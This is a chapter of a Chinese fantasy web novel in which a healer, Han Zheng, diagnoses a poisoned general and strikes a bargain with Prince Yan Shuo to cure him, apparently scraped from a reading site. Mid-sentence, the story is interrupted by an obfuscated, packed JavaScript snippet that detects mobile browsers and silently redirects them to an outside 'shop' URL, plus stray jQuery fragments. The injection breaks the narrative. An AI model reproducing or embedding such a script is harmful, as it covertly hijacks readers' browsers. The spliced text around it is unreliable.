默认冷灰
24号文字
方正启体

17. 他做药引

作者:周末慢生活本书字数:K更新时间:
    从碎星崖密室回来的第三天,青州城开始乱了。


    起初只是几个城主府的侍卫。


    换班时走着走着,忽然就跪倒在地,口鼻里涌出粘稠的黑血,皮肉底下像有什么东西在蠕动——是经脉在失控的灵力冲撞下肿胀变形。


    接着是西市粮铺的伙计。


    清晨卸门板时,那年轻伙计忽然发出一声不似人声的吼叫,转身就把整排米缸掀翻。黄澄澄的粟米洒了满街,他跪在米堆里双手抱头,指甲把额头抓得血肉模糊。


    到了午后,事情严重了。


    三个青云宗下山采买的杂役弟子被担架抬回山门。


    最年轻的那个才十五岁,此刻蜷在粗布担架上,喉咙里发出“嗬嗬”的怪响,整张脸都扭曲得认不出原貌。抬担架的内门弟子脸上蒙着浸过药汁的布巾,露出的眼睛里全是惊惶。


    消息像野火般烧遍全城。


    茶馆里,说书先生压着嗓子说:“听说是澜沧剑派的手段……江公子被软禁,人家来讨说法了。”


    买菜的老妇挎着篮子摇头:“造孽哟,那毒连修士都扛不住……”


    但真正让全城陷入恐慌的,是当日下午传开的消息——


    城主府的韩统领,筑基中期的体修,昨日奉命巡查灵山周边民户时,在寒氏祠堂后山的溪涧边饮了几口涧水。


    当夜就开始发作。


    连筑基修士喝几口水都扛不住,那水……还能喝吗?


    一时间,所有从灵山方向流出的溪流、水井,再无人敢靠近。打水的扁担扔在井边,浣衣的妇人抱着木盆匆匆回家,连平日里在溪边玩水的孩童都被大人厉声喝止。


    寒铮站在清心院那株老槐树下,望着主峰方向。


    薄暮时分,山腰处常年氤氲的淡白灵气,此刻正渗进丝丝缕缕的灰黑色——像清水里滴入了墨汁,缓慢而顽固地扩散。


    踏雪蹲在她肩头,虚影的耳朵竖得笔直:


    【娘亲,那些中毒的人……气运光柱里都缠着灰黑色的秽气。和阴髓同源,但更毒。】


    “锁灵阵反噬。”


    寒铮的声音很平静,像是在陈述一个早就料到的事实,“地脉被抽了十年,怨气淤积成毒。如今阵法松动,这些腌臜东西顺着裂隙泄出来了。”


    【那怎么办?这秽气会散开的!】


    踏雪的虚影在颤抖,【王爷爹身上也有冥气,万一被引动——】


    话没说完,院门外传来马蹄铁踏碎青石板的脆响。


    那声响又急又乱,不像寻常赶路,倒像逃命。


    “砰!”


    院门被撞开。


    一名王府侍卫几乎是摔进来的——


    半个身子都被暗红色的血浸透,左臂不自然地扭曲着,脸上一点血色都没有。


    他挣扎着想爬起来,膝盖却软得撑不住,只能单手撑地,抬起头看着寒铮,牙齿都在打颤:


    “寒姑娘……王爷请您……速去王府……”


    他喘了口气,喉结剧烈滚动:“韩统领……不行了。”


    韩烈。


    炎朔麾下第一将,筑基中期体修。


    北境战场上,他曾一杆铁枪独守孤城三日,蛮族的尸体在城下堆成小山。


    据说他吼一声,能震退三匹发狂的战马。


    此刻他躺在王府偏殿的硬木榻上。


    那张总是咧着嘴笑、能一口气喝干三坛烈酒的脸,此刻绷得像块青石。牙关咬得死紧,上下齿之间塞着厚厚的布巾——已经有一半被血浸透了,暗红色的血顺着嘴角往下淌,在脖颈上画出蜿蜒的痕迹。


    他的身体在不受控制地抽搐。


    不是颤抖,是抽搐——每一下都又狠又急,像有看不见的鞭子在抽打。


    裸露的手臂上,青黑色的血管一根根暴突出来,在皮肤底下“突突”地跳动,随时要炸开似的。


    四个太医围在榻边,额头上全是汗。


    最年长的那位姓陈,此刻正捏着一根三寸长的银针,手腕却抖得厉害。


    针尖几次抵上韩烈的心口,都扎不进去——那层皮肉硬得像铁,针一碰就弯。


    “灌药!再灌!”旁边年轻些的太医端着一碗黑糊糊的药汁。


    两个侍卫按住韩烈抽搐的肩膀,陈太医捏开他的下颌。药碗刚凑到嘴边——


    “噗!”


    韩烈喉咙里猛地涌出一股气,连药带血全喷了出来。


    褐色的药汁混着暗红的血,溅了陈太医满襟。


    偏殿里弥漫着一股复杂的味道:浓烈的药气、血腥味,还有一丝若有若无的、甜得发腻的腐臭。


    炎朔站在榻尾。


    他没穿朝服,只一袭玄色常服,肩头立着那只铁羽灵鹰。鹰爪紧紧抓着他的衣料,淡金色的眼瞳死死盯着榻上的人,喙间发出低低的、威胁般的“嘶嘶”声。


    光从侧面窗棂照进来,在他脸上切出明暗分明的界线。


    明的那半边脸沉静如常,暗的那半边,下颌线绷得极紧。


    寒铮踏进偏殿时,所有目光都聚了过来。


    陈太医抹了把脸上的药渍,眼神复杂——三分期盼,七分不信任。


    旁边几个年轻太医交换着眼色,有人轻轻摇头。


    寒铮没看他们。


    她径直走到榻前,俯身,伸手按在韩烈的手腕上。


    触手滚烫。


    皮肤底下像烧着一炉炭,热度烫得惊人。


    她的指尖刚搭上去,韩烈的手臂就猛地一挣——那是纯粹的肌肉反应,完全不受意识控制。


    寒铮没松手。


    她闭上眼睛,一丝灵力顺着指尖探入。


    下一瞬——


    【娘亲!】


    踏雪在她识海里惊叫,【那毒……是‘死’的,但好凶!像好多根烧红的钉子,在往他骨头里钉!】


    “唔!”


    她闷哼一声,整个人往后一晃。


    那股顺着经脉反扑回来的毒气太过暴戾,像一柄烧红的铁锥,狠狠凿进她的识海。


    颈间的玉坠骤然发烫。


    一股清凉温润的月华灵气涌出,堪堪抵住那股阴毒。


    她睁开眼睛,额头已经渗出一层细汗。


    “如何?”炎朔的声音从身后传来,压得很低,像从喉咙深处挤出来的。


    寒铮松开手,直起身。


    她转过来,看着炎朔,语速平稳清晰:


    “能解。”


    偏殿里安静了一瞬。


    陈太医张了张嘴,又闭上。几个年轻太医互相看了看,有人眼里闪过不信。


    “有条件。”寒铮接着说。


    炎朔抬了抬手。


    那是一个很简单的动作,只是手掌向下虚按了按。


    但偏殿里所有的声音——太医们急促的呼吸、侍卫甲片的轻响、甚至窗外隐约的风声——都在这一刻消失了。


    “说。”他只吐出一个字。


    寒铮看着他:“我要研究你三日气运。每日三个时辰,你需配合运功,不得有丝毫抗拒。”


    陈太医倒抽了一口凉气。


    炎朔的视线落在她脸上,那双深褐色的眼睛像结了冰的湖面:


    “你要窥探本王功法根基?”


    “不。”


    寒铮摇头,“我只需观察你气运流转与地脉污染的交互规律。这毒是阴髓异变而成,与你体内冥气同源。要解韩统领的毒,必须先摸清毒性在你这种体质里发作的脉理。”


    她顿了顿,补充道:


    “你的冥气是‘活’的,与你的至阳经脉日夜对抗,已达某种动态平衡,你对它有掌控力。而韩统领体内的毒是‘死’的,是纯粹淤积、破坏的外来秽物,与他自身灵力格格不入,正因如此才会急速摧毁他的身体。


    “若直接用我的月华灵气强行驱散,好比冰水浇入滚油,两股极端力量在他脆弱的经脉内对冲,他会瞬间毙命。”


    “唯一的解法,是先用你这股‘同源活毒’作为‘引子’,温和地将那些‘死毒’吸附、牵引出来,再在体外,或在你可控的经脉交汇处,用月华灵气将其中和、净化。”


    她语气笃定:“两者同源,却不同态——这是唯一能救他、且不立刻要了他命的机会。”


    炎朔沉默了很久。


    久到窗外的光又往西偏了一寸,在他脸上投下更深的阴影。


    “如何研究?”他终于开口,“有何风险?”


    “你运功,引动冥气。我以灵力视觉观测气运与冥气的对冲轨迹。”


    寒铮答得很快,“风险有二:其一,你运功时会加剧痛苦;其二,若我观测失误,可能干扰你灵力运转。”


    “但你刚才说,能控在安全范围。”炎朔盯着她,“凭什么?”


    寒铮迎着他的视线:


    “凭我昨日在密室中,能准确指出你冥气流转时,心脉左下方三寸处那个凝滞点。”


    她语气平静得像在陈述事实:


    “若连这点感知都没有,今日我也不会站在这儿。”


    炎朔又沉默了。


    这次时间短些。


    “好。”他说,“但若韩烈有事——”


    “我陪葬。”寒铮接得极快。


    那三个字很轻,轻得几乎听不见。


    可落在偏殿里,却像往滚油里泼了一瓢冰水。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255950|198005||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    陈太医手里的银针“当啷”一声掉在地上。


    两个年轻太医齐齐后退半步,撞翻了角落里的药篓。


    连榻上抽搐的韩烈,都在这一瞬间的绝对寂静里,挣扎的动作顿了一瞬。


    侍卫握刀的手猛地收紧,刀鞘与甲片摩擦出刺耳的“咔”声。


    灵鹰的翅膀骤然张开,铁羽根根竖起。


    炎朔的瞳孔,几不可察地缩了一下。


    寒铮不再看他,转身吩咐:


    “取银针三十六枚,要三寸长的。陈年糯米三斤,雄黄粉一包。再备一间静室,除我与王爷外,任何人不得入内。”


    陈太医看向炎朔。


    炎朔点头:“照她说的做。”


    静室在王府西侧,原是间存放兵器的库房,清空后显得格外空旷。


    地面是整块的青石板,缝隙里还嵌着些陈年的铁锈。


    四壁刷着白灰,墙上挂着几盏青铜油灯,火光一跳一跳的,把人的影子投在墙上,晃得像鬼魅。


    寒铮让人将韩烈抬进来,平放在室中央。


    她自己蹲下身,从布袋里抓出一把糯米——那米粒颜色发黄,有些甚至结成了小块,是真正的陈米。


    她开始在地上撒米。


    不是胡乱撒,而是沿着某种规律的轨迹。


    白中泛黄的米粒在青石板上铺开,渐渐形成一个径长约三丈的圆形阵图——很粗糙,边缘歪歪扭扭,甚至有几处断开了。


    “这是……”陈太医站在门口,忍不住问。


    “净秽阵。”寒铮没抬头,“乡间驱邪用的,能暂时隔绝阴秽之气。”


    她说得轻描淡写,手下却没停。


    米粒铺完,她又取出雄黄粉,在阵图外围撒了一圈。


    刺鼻的气味弥漫开来,混着陈米的霉味,形成一种古怪的嗅觉记忆。


    最后,她抬头看向炎朔:


    “坐阵眼。”


    炎朔没说话,走到阵图中央盘膝坐下。


    寒铮在他对面坐下,两人之间隔着一臂的距离。


    这个距离很近,近到能看清对方睫毛的颤动,却又刚好够做出反应。


    “运功。”寒铮闭上眼睛,“引冥气至掌心。”


    炎朔看了她一眼,缓缓平伸双掌。


    起初没什么变化。


    三息后,他的掌心开始泛起暗红色的光晕——不像火光,更像凝固的血。光晕深处,有细密的黑色丝线在游动,像活物般扭曲缠绕。


    那是冥气。


    日夜侵蚀他经脉的毒源。


    寒铮睁开了眼睛。


    这一次,她看的不仅是头顶的气运光柱。


    灵力视觉全力展开——她“看见”冥气从炎朔的丹田涌出,顺着经脉往上爬。那东西暴烈得像熔岩,所过之处,经脉壁被灼烧得微微发红。


    而在他体内深处,另一股力量正在抵抗。


    是月华灵气。


    玉坠每日温养出的、至阴至纯的灵气,本该是冥气的克星。可当两股力量在经脉中相遇时,却发生了更剧烈的冲突——像冰水浇进滚油,炸开一片无声的爆裂。


    寒铮的视线死死锁住那些冲突的节点。


    她看见冥气每一次冲击心脉时,炎朔眉心会几不可察地蹙一下;看见当两股力量在左肋下方对冲时,他搭在膝上的左手食指会极轻微地抽搐。


    那是旧伤的位置。


    也是冥气与这具身体“融合”最浅薄、最不稳定的缝隙。


    【左肋!娘亲!】


    踏雪的声音紧张而急促,【他左肋下方的旧伤口,冥气和月华灵气的‘拉锯’最不稳定!那里的‘缝隙’最大,是‘引子’最好的入口和出口!】


    寒铮的眼神凝了凝。


    就是这个位置——最脆弱,也最可能成为通道。


    “停。”她忽然开口。


    炎朔收功。


    掌心暗红色的光晕散去,他额角已经渗出一层细密的汗珠。


    主动牵引冥气,痛苦不亚于用钝刀刮骨。


    寒铮站起身,走到韩烈榻边。


    她取出银针——三十六根三寸长的银针,在油灯下一根根排开,针尖闪着冷光。


    她没扎穴位。


    而是用针尖蘸了雄黄粉,开始在韩烈胸口缓慢地、一笔一划地勾勒。


    那是一个极其繁复的符纹。


    起笔在膻中,向左延伸至左肋,再折向右腹,最后收束回胸口。线条弯弯曲曲,有些地方重叠,有些地方断开,看起来毫无规律。


    陈太医在门口看得眉头紧皱——这根本不是医经里的任何针法。


    ------
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)